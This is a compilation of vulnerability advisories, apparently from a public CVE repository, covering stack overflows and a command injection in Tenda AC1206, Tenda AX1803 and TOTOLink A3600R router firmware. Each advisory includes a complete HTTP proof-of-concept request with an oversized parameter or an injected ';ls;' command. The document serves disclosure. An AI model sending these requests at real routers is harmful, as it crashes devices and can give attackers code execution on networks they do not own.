Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the PPPOEPassword parameter in the function formQuickIndex.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the formQuickIndex function. An attacker can obtain a stable root shell through a carefully constructed payload.

Stack overflow vulnerability occurs in the decodepwd function.

The decodepwd function is equivalent to copying data from and filtering "/" symbols.As long as the ppppwd(the value of PPPOEPassword) we enter exceeds the size of the decode_pwd array, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/QuickIndex HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 12
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    PPPOEPassword=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37815: vuln/Tenda/AC1206/18 at main · Darry-lang1/vuln

TOTOLink A3600R V4.1.2cu.5182_B20201102 was discovered to contain a command injection vulnerability via the username parameter in /cstecgi.cgi.

Permalink

**TOTOLink A3600R V4.1.2cu.5182\_B20201102 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=63&ids=36

**Product Information**

TOTOLink A3600R V4.1.2cu.5182\_B20201102 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A3600R was found to contain a command insertion vulnerability in cstecgi.This vulnerability allows an attacker to execute arbitrary commands through the "username" parameter.

We can see that the operating system will get "username" without filtering and inserting it into the strings "openvpn cert build\_user" and "gz". Therefore, if we can control "username", it can be a command injection.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi?exportOvpn=&type=user&username=;ls;&filetype=gz HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.0.1/login.html
    Content-Length: 0
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    

The above figure shows the POC attack effect

CVE-2022-36455: vuln/readme.md at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain multiple stack overflows via the deviceMac and the device_id parameters in the function addWifiMacFilter.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the addWifiMacFilter function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the addWifiMacFilter function,the device_mac we entered (the value of deviceMac) and the device_id we entered (the value of deviceId) are formatted with the sprintf function, spliced with %s;%d;%s strings, and saved to mib_value. It is not secure, as long as the size of the data we enter is larger than the size of mib_value, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/addWifiMacFilter HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    deviceMac=a&deviceId=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37814: vuln/Tenda/AC1206/14 at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the function fromSetSysTime.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the fromSetSysTime function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the fromSetSysTime function,tmpstr(the value of time) we entered is formatted using the sscanf function and in the form of %[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of year、month、day、hour、min or sec, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetSysTimeCfg HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 12
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    timeType=manual&time=1-1-1 1:1:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37813: vuln/Tenda/AC1206/16 at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the page parameter in the function fromDhcpListClient.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the fromDhcpListClient function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the fromDhcpListClient function,the page we entered (the value of page) is formatted with the sprintf function, spliced with %s strings, and saved to gotopage. It is not secure, as long as the size of the data we enter is larger than the size of gotopage, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/DhcpListClient HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    page=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37806: vuln/Tenda/AC1206/4 at main · Darry-lang1/vuln

Tenda AX1803 v1.0.0.1 was discovered to contain a stack overflow via the list parameter in the function formSetVirtualSer.

**Tenda AX1803 (V1.0.0.1) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-3421.html

**Product Information**

Tenda AX1803 V1.0.0.1, the latest version of simulation overview：

**Vulnerability details**

The Tenda AX1803 (V1.0.0.1) was found to have a stack overflow vulnerability in the formSetVirtualSer function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the formSetVirtualSer function, v2 (the value of list) we entered will be passed into the sub_89D3C function as a parameter, and this function has stack overflow.

In the sub_89D3C function,the a2 (the value of list) is formatted using the _isoc99_sscanf function and in the form of %[^,]%*c%[^,]%*c%[^,]%*c%s. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of s、 v12 、v13 or v14, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetVirtualServerCfg HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    list=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,b,c,d~
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37823: vuln/Tenda/AX1803/1 at main · Darry-lang1/vuln

Tenda AX1803 v1.0.0.1 was discovered to contain a stack overflow via the function fromSetRouteStatic.

**Tenda AX1803 (V1.0.0.1) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-3421.html

**Product Information**

Tenda AX1803 V1.0.0.1, the latest version of simulation overview：

**Vulnerability details**

The Tenda AX1803 (V1.0.0.1) was found to have a stack overflow vulnerability in the fromSetRouteStatic function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the fromSetRouteStatic function, v2 (the value of list) we entered will be passed into the sub_78440 function as a parameter, and this function has stack overflow.

In the sub_78440 function,the a2 (the value of list) is formatted using the _isoc99_sscanf function and in the form of %[^,],%[^,],%[^,],%s. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of s, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetStaticRouteCfg HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    list=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,b,c,d~
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37822: vuln/Tenda/AX1803/3 at main · Darry-lang1/vuln

Tenda AX1803 v1.0.0.1 was discovered to contain a stack overflow via the ddnsEn parameter in the function formSetSysToolDDNS.

**Tenda AX1803 (V1.0.0.1) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-3421.html

**Product Information**

Tenda AX1803 V1.0.0.1, the latest version of simulation overview：

**Vulnerability details**

The Tenda AX1803 (V1.0.0.1) was found to have a stack overflow vulnerability in the formSetSysToolDDNS function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the formSetSysToolDDNS function,the v2 (the value of ddnsEn) we entered is directly copied into the v15 array through the strcpy function.It is not secure, as long as the size of the data we enter is larger than the size of v15, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetDDNSCfg HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    ddnsEn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37820: vuln/Tenda/AX1803/8 at main · Darry-lang1/vuln

Tenda AX1803 v1.0.0.1 was discovered to contain a stack overflow via the timezone parameter in the function fromSetSysTime.

**Tenda AX1803 (V1.0.0.1) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-3421.html

**Product Information**

Tenda AX1803 V1.0.0.1, the latest version of simulation overview：

**Vulnerability details**

The Tenda AX1803 (V1.0.0.1) was found to have a stack overflow vulnerability in the fromSetSysTime function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the fromSetSysTime function,the v2 (the value of timeZone) we entered is directly copied into the v22 array through the strcpy function.It is not secure, as long as the size of the data we enter is larger than the size of v22, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetSysTimeCfg HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    timeType=sync&timeZone=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37819: vuln/Tenda/AX1803/7 at main · Darry-lang1/vuln

Tenda AX1803 v1.0.0.1 was discovered to contain a stack overflow via the shareSpeed parameter in the function fromSetWifiGusetBasic.

**Tenda AX1803 (V1.0.0.1) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-3421.html

**Product Information**

Tenda AX1803 V1.0.0.1, the latest version of simulation overview：

**Vulnerability details**

The Tenda AX1803 (V1.0.0.1) was found to have a stack overflow vulnerability in the fromSetWifiGusetBasic function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the fromSetWifiGusetBasic function,the nptr (the value of shareSpeed) we entered is directly copied into the v39 array through the strcpy function.It is not secure, as long as the size of the data we enter is larger than the size of v39, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/WifiGuestSet HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
